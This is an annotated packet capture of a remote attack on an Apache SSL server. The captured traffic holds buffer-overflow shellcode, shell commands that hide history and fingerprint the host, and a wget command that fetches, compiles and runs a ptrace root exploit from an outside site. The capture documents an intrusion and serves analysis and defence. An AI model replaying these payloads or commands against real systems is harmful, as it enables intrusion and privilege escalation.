Apache Chunk Handling Vulnerability (TCP Connections against 443 port)!!!
05:33:49.801689 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: S 778399254:778399254(0) win 32120 <mss 1460,sackOK,timestamp 633015936 0,nop,wscale 0> (DF)
0x0000 4500 003c d974 4000 3106 afe1 d380 635d E..<.t@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 6e16 0000 0000 ...~.9...en.....
0x0020 a002 7d78 317e 0000 0204 05b4 0402 080a ..}x1~..........
0x0030 25bb 0e80 0000 0000 0103 0300 %...........
05:33:49.802036 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: S 1339669197:1339669197(0) ack 778399255 win 5792 <mss 1460,sackOK,timestamp 2115574 633015936,nop,wscale 0> (DF)
0x0000 4500 003c 0000 4000 4006 7a56 800a 097e E..<..@.@.zV...~
0x0010 d380 635d 01bb 0639 4fd9 bacd 2e65 6e17 ..c]...9O....en.
0x0020 a012 16a0 4588 0000 0204 05b4 0402 080a ....E...........
0x0030 0020 47f6 25bb 0e80 0103 0300 ..G.%.......
05:33:49.979736 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1 win 32120 <nop,nop,timestamp 633015953 2115574> (DF)
0x0000 4500 0034 d9bc 4000 3106 afa1 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 6e17 4fd9 bace ...~.9...en.O...
0x0020 8010 7d78 0d64 0000 0101 080a 25bb 0e91 ..}x.d......%...
0x0030 0020 47f6 ..G.
05:33:51.645643 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 1:52(51) ack 1 win 32120 <nop,nop,timestamp 633016120 2115574> (DF)
0x0000 4500 0067 dc80 4000 3106 acaa d380 635d E..g..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 6e17 4fd9 bace ...~.9...en.O...
0x0020 8018 7d78 0220 0000 0101 080a 25bb 0f38 ..}x........%..8
0x0030 0020 47f6 8031 0100 0200 1800 0000 1007 ..G..1..........
0x0040 00c0 0500 8003 0080 0100 8008 0080 0600 ................
0x0050 4004 0080 0200 8040 3d04 797c 6905 1e0b @......@=.y|i...
0x0060 5453 7d34 5f7f 20 TS}4_..
05:33:51.646105 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 52 win 5792 <nop,nop,timestamp 2115759 633016120> (DF)
0x0000 4500 0034 f2c6 4000 4006 8797 800a 097e E..4..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 bace 2e65 6e4a ..c]...9O....enJ
0x0020 8010 16a0 72a9 0000 0101 080a 0020 48af ....r.........H.
0x0030 25bb 0f38 %..8
05:33:51.647063 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1:1091(1090) ack 52 win 5792 <nop,nop,timestamp 2115759 633016120> (DF)
0x0000 4500 0476 f2c7 4000 4006 8354 800a 097e E..v..@.@..T...~
0x0010 d380 635d 01bb 0639 4fd9 bace 2e65 6e4a ..c]...9O....enJ
0x0020 8018 16a0 3478 0000 0101 080a 0020 48af ....4x........H.
0x0030 25bb 0f38 8440 0400 0100 0204 1000 1500 %..8.@..........
0x0040 1030 8204 0c30 8203 75a0 0302 0102 0201 .0...0..u.......
0x0050 0030 0d06 092a 8648 86f7 0d01 0104 0500 .0...*.H........
0x0060 3081 bb31 0b30 0906 0355 0406 1302 2d2d 0..1.0...U....--
0x0070 3112 3010 0603 5504 0813 0953 6f6d 6553 1.0...U....SomeS
0x0080 7461 7465 3111 300f 0603 5504 0713 0853 tate1.0...U....S
0x0090 6f6d 6543 6974 7931 1930 1706 0355 040a omeCity1.0...U..
0x00a0 1310 536f 6d65 4f72 6761 6e69 7a61 7469 ..SomeOrganizati
0x00b0 6f6e 311f 301d 0603 5504 0b13 1653 6f6d on1.0...U....Som
0x00c0 654f 7267 616e 697a 6174 696f 6e61 6c55 eOrganizationalU
0x00d0 6e69 7431 1e30 1c06 0355 0403 1315 6c6f nit1.0...U....lo
0x00e0 6361 6c68 6f73 742e 6c6f 6361 6c64 6f6d calhost.localdom
0x00f0 6169 6e31 2930 2706 092a 8648 86f7 0d01 ain1)0'..*.H....
0x0100 0901 161a 726f 6f74 406c 6f63 616c 686f ....root@localho
0x0110 7374 2e6c 6f63 616c 646f 6d61 696e 301e st.localdomain0.
0x0120 170d 3033 3131 3234 3131 3535 3035 5a17 ..031124115505Z.
0x0130 0d30 3431 3132 3331 3135 3530 355a 3081 .041123115505Z0.
0x0140 bb31 0b30 0906 0355 0406 1302 2d2d 3112 .1.0...U....--1.
0x0150 3010 0603 5504 0813 0953 6f6d 6553 7461 0...U....SomeSta
0x0160 7465 3111 300f 0603 5504 0713 0853 6f6d te1.0...U....Som
0x0170 6543 6974 7931 1930 1706 0355 040a 1310 eCity1.0...U....
0x0180 536f 6d65 4f72 6761 6e69 7a61 7469 6f6e SomeOrganization
0x0190 311f 301d 0603 5504 0b13 1653 6f6d 654f 1.0...U....SomeO
0x01a0 7267 616e 697a 6174 696f 6e61 6c55 6e69 rganizationalUni
0x01b0 7431 1e30 1c06 0355 0403 1315 6c6f 6361 t1.0...U....loca
0x01c0 6c68 6f73 742e 6c6f 6361 6c64 6f6d 6169 lhost.localdomai
0x01d0 6e31 2930 2706 092a 8648 86f7 0d01 0901 n1)0'..*.H......
0x01e0 161a 726f 6f74 406c 6f63 616c 686f 7374 ..root@localhost
0x01f0 2e6c 6f63 616c 646f 6d61 696e 3081 9f30 .localdomain0..0
0x0200 0d06 092a 8648 86f7 0d01 0101 0500 0381 ...*.H..........
0x0210 8d00 3081 8902 8181 00d1 45ad 0e2d 0cf6 ..0.......E..-..
0x0220 378d 4e6a ef61 0c27 d361 7204 4f2c b04f 7.Nj.a.'.ar.O,.O
0x0230 0fce bc8e e02f 8dab bcae c737 2d93 1c43 ...../.....7-..C
0x0240 2a34 460e 214f 6c8f 4184 ffee 9b20 1044 *4F.!Ol.A......D
0x0250 3b0e 98dc 6f9b c646 d3ca de30 2f0c 74fe ;...o..F...0/.t.
0x0260 8a99 65b5 5d68 03bb 23ae 1362 5a1c a62a ..e.]h..#..bZ..*
0x0270 e772 16d1 a737 600b 7d5b ceb5 9373 096b .r...7`.}[...s.k
0x0280 f0ea 5e04 5b9a 3f03 086b 6737 39e7 7212 ..^.[.?..kg79.r.
0x0290 533e 7471 61cb 35b0 5302 0301 0001 a382 S>tqa.5.S.......
0x02a0 011c 3082 0118 301d 0603 551d 0e04 1604 ..0...0...U.....
0x02b0 14d6 d9ad df08 bf23 c294 3b19 b3a0 3609 .......#..;...6.
0x02c0 0d67 807d d030 81e8 0603 551d 2304 81e0 .g.}.0....U.#...
0x02d0 3081 dd80 14d6 d9ad df08 bf23 c294 3b19 0..........#..;.
0x02e0 b3a0 3609 0d67 807d d0a1 81c1 a481 be30 ..6..g.}.......0
0x02f0 81bb 310b 3009 0603 5504 0613 022d 2d31 ..1.0...U....--1
0x0300 1230 1006 0355 0408 1309 536f 6d65 5374 .0...U....SomeSt
0x0310 6174 6531 1130 0f06 0355 0407 1308 536f ate1.0...U....So
0x0320 6d65 4369 7479 3119 3017 0603 5504 0a13 meCity1.0...U...
0x0330 1053 6f6d 654f 7267 616e 697a 6174 696f .SomeOrganizatio
0x0340 6e31 1f30 1d06 0355 040b 1316 536f 6d65 n1.0...U....Some
0x0350 4f72 6761 6e69 7a61 7469 6f6e 616c 556e OrganizationalUn
0x0360 6974 311e 301c 0603 5504 0313 156c 6f63 it1.0...U....loc
0x0370 616c 686f 7374 2e6c 6f63 616c 646f 6d61 alhost.localdoma
0x0380 696e 3129 3027 0609 2a86 4886 f70d 0109 in1)0'..*.H.....
0x0390 0116 1a72 6f6f 7440 6c6f 6361 6c68 6f73 ...root@localhos
0x03a0 742e 6c6f 6361 6c64 6f6d 6169 6e82 0100 t.localdomain...
0x03b0 300c 0603 551d 1304 0530 0301 01ff 300d 0...U....0....0.
0x03c0 0609 2a86 4886 f70d 0101 0405 0003 8181 ..*.H...........
0x03d0 001b 797f 6e2b 0703 7216 ad91 f316 e9aa ..y.n+..r.......
0x03e0 09db e19e afff 4043 1f87 58a9 9ace 80be ......@C..X.....
0x03f0 8bd9 72c5 ed4e 1853 5187 d571 6e33 3dbf ..r..N.SQ..qn3=.
0x0400 729c f399 4ec4 8787 72de 8d60 a653 c67a r...N...r..`.S.z
0x0410 46c2 0f12 405b a93b 063c c9cc 5978 bc1d F...@[.;.<..Yx..
0x0420 150a 575d a645 89cd a9c2 9f5d 39ea 606a ..W].E.....]9.`j
0x0430 625e f0f3 9c87 d7c4 c0e4 00b7 f0c2 8043 b^.............C
0x0440 b9ca 077f 2ac8 a5f3 096d 04e8 992b 86dd ....*....m...+..
0x0450 ac07 00c0 0300 8001 0080 0800 8006 0040 ...............@
0x0460 0400 8002 0080 7df6 a76e 0b97 4392 2366 ......}..n..C.#f
0x0470 4fd8 654a e34c O.eJ.L
05:33:51.825535 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1091 win 31856 <nop,nop,timestamp 633016138 2115759> (DF)
0x0000 4500 0034 dcd2 4000 3106 ac8b d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 6e4a 4fd9 bf10 ...~.9...enJO...
0x0020 8010 7c70 0885 0000 0101 080a 25bb 0f4a ..|p........%..J
0x0030 0020 48af ..H.
Malicious packets containing buffer overflow codes !!!
05:33:51.828603 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 52:470(418) ack 1091 win 31856 <nop,nop,timestamp 633016138 2115759> (DF)
0x0000 4500 01d6 dcd4 4000 3106 aae7 d380 635d E.....@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 6e4a 4fd9 bf10 ...~.9...enJO...
0x0020 8018 7c70 a591 0000 0101 080a 25bb 0f4a ..|p........%..J
0x0030 0020 48af 81a0 0201 0080 0000 0081 0115 ..H.............
0x0040 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0050 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0060 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0070 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0080 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0090 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x00a0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x00b0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x00c0 4126 083b 2372 4041 7d41 4141 4141 4141 A&.;#r@A}AAAAAAA
0x00d0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x00e0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x00f0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0100 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0110 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0120 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0130 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0140 4141 4141 4141 4141 4100 0000 0000 0000 AAAAAAAAA.......
0x0150 0041 4141 4101 0000 0041 4141 4141 4141 .AAAA....AAAAAAA
0x0160 4141 4141 418e e045 4041 4141 4100 0000 AAAAA..E@AAAA...
0x0170 0000 0000 0000 0000 0041 4141 4141 4141 .........AAAAAAA
0x0180 41d0 0000 00fc ffff ffc4 df16 0894 e116 A...............
0x0190 08a4 e116 0831 c980 c121 eb2d 4141 4141 .....1...!.-AAAA
0x01a0 4131 c004 02cd 8085 c0e0 f675 245b 87d9 A1.........u$[..
0x01b0 0403 505a cd80 6681 3969 7a75 1450 40cd ..PZ..f.9izu.P@.
0x01c0 8058 c1e2 08cd 80ff e1e8 d3ff ffff 9090 .X..............
0x01d0 9031 c040 cd80 .1.@..
05:33:51.829384 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1091:1096(5) ack 470 win 6432 <nop,nop,timestamp 2115777 633016138> (DF)
0x0000 4500 0039 f2c8 4000 4006 8790 800a 097e E..9..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 bf10 2e65 6fec ..c]...9O....eo.
0x0020 8018 1920 e910 0000 0101 080a 0020 48c1 ..............H.
0x0030 25bb 0f4a 8003 0000 01 %..J.....
05:33:52.007168 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 470:473(3) ack 1096 win 31856 <nop,nop,timestamp 633016156 2115777> (DF)
0x0000 4500 0037 dd17 4000 3106 ac43 d380 635d E..7..@.1..C..c]
0x0010 800a 097e 0639 01bb 2e65 6fec 4fd9 bf15 ...~.9...eo.O...
0x0020 8018 7c70 9d34 0000 0101 080a 25bb 0f5c ..|p.4......%..\
0x0030 0020 48c1 697a 00 ..H.iz.
05:33:52.009141 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1096:1099(3) ack 473 win 6432 <nop,nop,timestamp 2115794 633016156> (DF)
0x0000 4500 0037 f2c9 4000 4006 8791 800a 097e E..7..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 bf15 2e65 6fef ..c]...9O....eo.
0x0020 8018 1920 0071 0000 0101 080a 0020 48d2 .....q........H.
0x0030 25bb 0f5c 697a 00 %..\iz.
05:33:52.188334 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 473:603(130) ack 1099 win 31856 <nop,nop,timestamp 633016174 2115794> (DF)
0x0000 4500 00b6 dd7a 4000 3106 ab61 d380 635d E....z@.1..a..c]
0x0010 800a 097e 0639 01bb 2e65 6fef 4fd9 bf18 ...~.9...eo.O...
0x0020 8018 7c70 061e 0000 0101 080a 25bb 0f6e ..|p........%..n
0x0030 0020 48d2 31c0 31db b01b cd80 31db b307 ..H.1.1.....1...
0x0040 89e2 6a10 89e1 5152 31c9 b1fe 5189 e131 ..j...QR1...Q..1
0x0050 c0b0 66cd 80a8 ff74 0b5a f6c2 ff74 4efe ..f....t.Z...tN.
0x0060 ca52 ebeb 5b31 c9b1 03fe c931 c0b0 3fcd .R..[1.....1..?.
0x0070 8067 e302 ebf3 31c0 6845 766f 6c89 e250 .g....1.hEvol..P
0x0080 6a04 5253 89e1 31db b309 b066 cd80 31c0 j.RS..1....f..1.
0x0090 5050 682f 7368 2f68 2f62 696e 2044 2407 PPh/sh/h/bin.D$.
0x00a0 8d4c 2408 8d54 240c 8921 89e3 b00b cd80 .L$..T$..!......
0x00b0 31c0 fec0 cd80 1.....
05:33:52.257960 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1099:1103(4) ack 603 win 7504 <nop,nop,timestamp 2115821 633016174> (DF)
0x0000 4500 0038 f2ca 4000 4006 878f 800a 097e E..8..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 bf18 2e65 7071 ..c]...9O....epq
0x0020 8018 1d50 b025 0000 0101 080a 0020 48ed ...P.%........H.
0x0030 25bb 0f6e 4576 6f6c %..nEvol
05:33:52.450959 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1103 win 31856 <nop,nop,timestamp 633016201 2115821> (DF)
0x0000 4500 0034 de17 4000 3106 ab46 d380 635d E..4..@.1..F..c]
0x0010 800a 097e 0639 01bb 2e65 7071 4fd9 bf1c ...~.9...epqO...
0x0020 8010 7c70 05d5 0000 0101 080a 25bb 0f89 ..|p........%...
0x0030 0020 48ed ..H.
Shell access with apache user id !!!
05:33:54.191709 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 603:998(395) ack 1103 win 31856 <nop,nop,timestamp 633016375 2115821> (DF)
0x0000 4500 01bf e0e4 4000 3106 a6ee d380 635d E.....@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 7071 4fd9 bf1c ...~.9...epqO...
0x0020 8018 7c70 16a8 0000 0101 080a 25bb 1037 ..|p........%..7
0x0030 0020 48ed 6578 706f 7274 2048 4953 5446 ..H.export.HISTF
0x0040 494c 453d 2f64 6576 2f6e 756c 6c3b 2065 ILE=/dev/null;.e
0x0050 6368 6f3b 2065 6368 6f20 2720 3e3e 3e3e cho;.echo.'.>>>>
0x0060 2020 4741 4d45 204f 5645 5221 2020 4861 ..GAME.OVER!..Ha
0x0070 636b 6572 7a20 5769 6e20 3b29 2020 3c3c ckerz.Win.;)..<<
0x0080 3c3c 273b 2065 6368 6f3b 2065 6368 6f3b <<';.echo;.echo;
0x0090 2065 6368 6f20 222a 2a2a 2a2a 2a20 2049 .echo."******..I
0x00a0 2041 4d20 494e 2027 6068 6f73 746e 616d .AM.IN.'`hostnam
0x00b0 6520 2d66 6027 2020 2a2a 2a2a 2a2a 223b e.-f`'..******";
0x00c0 2065 6368 6f3b 2069 6620 5b20 2d72 202f .echo;.if.[.-r./
0x00d0 6574 632f 7265 6468 6174 2d72 656c 6561 etc/redhat-relea
0x00e0 7365 205d 3b20 7468 656e 2065 6368 6f20 se.];.then.echo.
0x00f0 6063 6174 202f 6574 632f 7265 6468 6174 `cat./etc/redhat
0x0100 2d72 656c 6561 7365 603b 2065 6c69 6620 -release`;.elif.
0x0110 5b20 2d72 202f 6574 632f 7375 7365 2d72 [.-r./etc/suse-r
0x0120 656c 6561 7365 205d 3b20 7468 656e 2065 elease.];.then.e
0x0130 6368 6f20 5375 5365 2060 6361 7420 2f65 cho.SuSe.`cat./e
0x0140 7463 2f73 7573 652d 7265 6c65 6173 6560 tc/suse-release`
0x0150 3b20 656c 6966 205b 202d 7220 2f65 7463 ;.elif.[.-r./etc
0x0160 2f73 6c61 636b 7761 7265 2d76 6572 7369 /slackware-versi
0x0170 6f6e 205d 3b20 7468 656e 2065 6368 6f20 on.];.then.echo.
0x0180 536c 6163 6b77 6172 6520 6063 6174 202f Slackware.`cat./
0x0190 6574 632f 736c 6163 6b77 6172 652d 7665 etc/slackware-ve
0x01a0 7273 696f 6e60 3b20 6669 3b20 756e 616d rsion`;.fi;.unam
0x01b0 6520 2d61 3b20 6964 3b20 6563 686f 0a e.-a;.id;.echo.
05:33:54.229593 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 998 win 8576 <nop,nop,timestamp 2116021 633016375> (DF)
0x0000 4500 0034 f2cb 4000 4006 8792 800a 097e E..4..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 bf1c 2e65 71fc ..c]...9O....eq.
0x0020 8010 2180 5dc4 0000 0101 080a 0020 49b5 ..!.].........I.
0x0030 25bb 1037 %..7
05:33:54.363082 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1103:1104(1) ack 998 win 8576 <nop,nop,timestamp 2116034 633016375> (DF)
0x0000 4500 0035 f2cc 4000 4006 8790 800a 097e E..5..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 bf1c 2e65 71fc ..c]...9O....eq.
0x0020 8018 2180 53ae 0000 0101 080a 0020 49c2 ..!.S.........I.
0x0030 25bb 1037 0a %..7.
05:33:54.363568 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1104:1144(40) ack 998 win 8576 <nop,nop,timestamp 2116034 633016375> (DF)
0x0000 4500 005c f2cd 4000 4006 8768 800a 097e E..\..@.@..h...~
0x0010 d380 635d 01bb 0639 4fd9 bf1d 2e65 71fc ..c]...9O....eq.
0x0020 8018 2180 993d 0000 0101 080a 0020 49c2 ..!..=........I.
0x0030 25bb 1037 203e 3e3e 3e20 2047 414d 4520 %..7.>>>>..GAME.
0x0040 4f56 4552 2120 2048 6163 6b65 727a 2057 OVER!..Hackerz.W
0x0050 696e 203b 2920 203c 3c3c 3c0a in.;)..<<<<.
05:33:54.551492 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1144 win 31856 <nop,nop,timestamp 633016411 2116034> (DF)
0x0000 4500 0034 e188 4000 3106 a7d5 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 71fc 4fd9 bf45 ...~.9...eq.O..E
0x0020 8010 7c70 027a 0000 0101 080a 25bb 105b ..|p.z......%..[
0x0030 0020 49c2 ..I.
05:33:54.552556 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1144:1344(200) ack 998 win 8576 <nop,nop,timestamp 2116053 633016411> (DF)
0x0000 4500 00fc f2ce 4000 4006 86c7 800a 097e E.....@.@......~
0x0010 d380 635d 01bb 0639 4fd9 bf45 2e65 71fc ..c]...9O..E.eq.
0x0020 8018 2180 a7bb 0000 0101 080a 0020 49d5 ..!...........I.
0x0030 25bb 105b 0a0a 2a2a 2a2a 2a2a 2020 4920 %..[..******..I.
0x0040 414d 2049 4e20 2763 6169 726f 322e 6373 AM.IN.'cairo2.cs
0x0050 2e70 7572 6475 652e 6564 7527 2020 2a2a .purdue.edu'..**
0x0060 2a2a 2a2a 0a0a 5265 6420 4861 7420 4c69 ****..Red.Hat.Li
0x0070 6e75 7820 7265 6c65 6173 6520 372e 3220 nux.release.7.2.
0x0080 2845 6e69 676d 6129 0a4c 696e 7578 2063 (Enigma).Linux.c
0x0090 6169 726f 3220 322e 342e 372d 3130 2023 airo2.2.4.7-10.#
0x00a0 3120 5468 7520 5365 7020 3620 3137 3a32 1.Thu.Sep.6.17:2
0x00b0 373a 3237 2045 4454 2032 3030 3120 6936 7:27.EDT.2001.i6
0x00c0 3836 2075 6e6b 6e6f 776e 0a75 6964 3d34 86.unknown.uid=4
0x00d0 3828 6170 6163 6865 2920 6769 643d 3438 8(apache).gid=48
0x00e0 2861 7061 6368 6529 2067 726f 7570 733d (apache).groups=
0x00f0 3438 2861 7061 6368 6529 0a0a 48(apache)..
05:33:54.741573 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1344 win 31856 <nop,nop,timestamp 633016430 2116053> (DF)
0x0000 4500 0034 e1d6 4000 3106 a787 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 71fc 4fd9 c00d ...~.9...eq.O...
0x0020 8010 7c70 018c 0000 0101 080a 25bb 106e ..|p........%..n
0x0030 0020 49d5 ..I.
05:34:00.136557 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 998:1006(8) ack 1344 win 31856 <nop,nop,timestamp 633016969 2116053> (DF)
0x0000 4500 003c eabf 4000 3106 9e96 d380 635d E..<..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 71fc 4fd9 c00d ...~.9...eq.O...
0x0020 8018 7c70 9755 0000 0101 080a 25bb 1289 ..|p.U......%...
0x0030 0020 49d5 6364 202f 746d 700a ..I.cd./tmp.
05:34:00.136990 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1006 win 8576 <nop,nop,timestamp 2116611 633016969> (DF)
0x0000 4500 0034 f2cf 4000 4006 878e 800a 097e E..4..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c00d 2e65 7204 ..c]...9O....er.
0x0020 8010 2180 582b 0000 0101 080a 0020 4c03 ..!.X+........L.
0x0030 25bb 1289 %...
Ptrace exploit codes to get escalated privilege: ROOT !!!
05:34:06.161595 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 1006:1097(91) ack 1344 win 31856 <nop,nop,timestamp 633017571 2116611> (DF)
0x0000 4500 008f f467 4000 3106 949b d380 635d E....g@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 7204 4fd9 c00d ...~.9...er.O...
0x0020 8018 7c70 4616 0000 0101 080a 25bb 14e3 ..|pF.......%...
0x0030 0020 4c03 7767 6574 2068 7474 703a 2f2f ..L.wget.http://
0x0040 7061 636b 6574 7374 6f72 6d73 6563 7572 packetstormsecur
0x0050 6974 792e 6e6c 2f30 3330 342d 6578 706c ity.nl/0304-expl
0x0060 6f69 7473 2f70 7472 6163 652d 6b6d 6f64 oits/ptrace-kmod
0x0070 2e63 3b67 6363 2020 7074 7261 6365 2d6b .c;gcc..ptrace-k
0x0080 6d6f 642e 6320 2d6f 2070 3b2e 2f70 0a mod.c.-o.p;./p.
05:34:06.163021 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1097 win 8576 <nop,nop,timestamp 2117214 633017571> (DF)
0x0000 4500 0034 f2d0 4000 4006 878d 800a 097e E..4..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c00d 2e65 725f ..c]...9O....er_
0x0020 8010 2180 531b 0000 0101 080a 0020 4e5e ..!.S.........N^
0x0030 25bb 14e3 %...
05:34:06.199034 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1344:1446(102) ack 1097 win 8576 <nop,nop,timestamp 2117217 633017571> (DF)
0x0000 4500 009a f2d1 4000 4006 8726 800a 097e E.....@.@..&...~
0x0010 d380 635d 01bb 0639 4fd9 c00d 2e65 725f ..c]...9O....er_
0x0020 8018 2180 800e 0000 0101 080a 0020 4e61 ..!...........Na
0x0030 25bb 14e3 2d2d 3034 3a33 343a 3037 2d2d %...--04:34:07--
0x0040 2020 6874 7470 3a2f 2f70 6163 6b65 7473 ..http://packets
0x0050 746f 726d 7365 6375 7269 7479 2e6e 6c2f tormsecurity.nl/
0x0060 3033 3034 2d65 7870 6c6f 6974 732f 7074 0304-exploits/pt
0x0070 7261 6365 2d6b 6d6f 642e 630a 2020 2020 race-kmod.c.....
0x0080 2020 2020 2020 203d 3e20 6070 7472 6163 .......=>.`ptrac
0x0090 652d 6b6d 6f64 2e63 270a e-kmod.c'.
05:34:06.204721 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1446:1489(43) ack 1097 win 8576 <nop,nop,timestamp 2117218 633017571> (DF)
0x0000 4500 005f f2d2 4000 4006 8760 800a 097e E.._..@.@..`...~
0x0010 d380 635d 01bb 0639 4fd9 c073 2e65 725f ..c]...9O..s.er_
0x0020 8018 2180 5ac2 0000 0101 080a 0020 4e62 ..!.Z.........Nb
0x0030 25bb 14e3 436f 6e6e 6563 7469 6e67 2074 %...Connecting.t
0x0040 6f20 7061 636b 6574 7374 6f72 6d73 6563 o.packetstormsec
0x0050 7572 6974 792e 6e6c 3a38 302e 2e2e 20 urity.nl:80....
05:34:06.392562 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1489 win 31856 <nop,nop,timestamp 633017595 2117217> (DF)
0x0000 4500 0034 f4be 4000 3106 949f d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 725f 4fd9 c09e ...~.9...er_O...
0x0020 8010 7c70 f77e 0000 0101 080a 25bb 14fb ..|p.~......%...
0x0030 0020 4e61 ..Na
05:34:06.392988 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1489:1540(51) ack 1097 win 8576 <nop,nop,timestamp 2117237 633017595> (DF)
0x0000 4500 0067 f2d3 4000 4006 8757 800a 097e E..g..@.@..W...~
0x0010 d380 635d 01bb 0639 4fd9 c09e 2e65 725f ..c]...9O....er_
0x0020 8018 2180 0a5c 0000 0101 080a 0020 4e75 ..!..\........Nu
0x0030 25bb 14fb 636f 6e6e 6563 7465 6421 0a48 %...connected!.H
0x0040 5454 5020 7265 7175 6573 7420 7365 6e74 TTP.request.sent
0x0050 2c20 6177 6169 7469 6e67 2072 6573 706f ,.awaiting.respo
0x0060 6e73 652e 2e2e 20 nse....
05:34:06.425261 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1540:1546(6) ack 1097 win 8576 <nop,nop,timestamp 2117240 633017595> (DF)
0x0000 4500 003a f2d4 4000 4006 8783 800a 097e E..:..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c0d1 2e65 725f ..c]...9O....er_
0x0020 8018 2180 a07b 0000 0101 080a 0020 4e78 ..!..{........Nx
0x0030 25bb 14fb 3230 3020 4f4b %...200.OK
05:34:06.425340 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1546:1547(1) ack 1097 win 8576 <nop,nop,timestamp 2117240 633017595> (DF)
0x0000 4500 0035 f2d5 4000 4006 8787 800a 097e E..5..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c0d7 2e65 725f ..c]...9O....er_
0x0020 8018 2180 4816 0000 0101 080a 0020 4e78 ..!.H.........Nx
0x0030 25bb 14fb 0a %....
05:34:06.582515 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1540 win 31856 <nop,nop,timestamp 633017614 2117237> (DF)
0x0000 4500 0034 f4fb 4000 3106 9462 d380 635d E..4..@.1..b..c]
0x0010 800a 097e 0639 01bb 2e65 725f 4fd9 c0d1 ...~.9...er_O...
0x0020 8010 7c70 f724 0000 0101 080a 25bb 150e ..|p.$......%...
0x0030 0020 4e75 ..Nu
05:34:06.582881 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1547:1715(168) ack 1097 win 8576 <nop,nop,timestamp 2117256 633017614> (DF)
0x0000 4500 00dc f2d6 4000 4006 86df 800a 097e E.....@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c0d8 2e65 725f ..c]...9O....er_
0x0020 8018 2180 9459 0000 0101 080a 0020 4e88 ..!..Y........N.
0x0030 25bb 150e 4c65 6e67 7468 3a20 332c 3932 %...Length:.3,92
0x0040 3120 5b74 6578 742f 706c 6169 6e5d 0a0a 1.[text/plain]..
0x0050 2020 2020 304b 202e 2e2e 2020 2020 2020 ....0K..........
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 2020 2020 2020 2031 3030 .............100
0x0090 2520 4020 2033 362e 3132 204b 422f 730a %.@..36.12.KB/s.
0x00a0 0a30 343a 3334 3a30 3720 2833 362e 3132 .04:34:07.(36.12
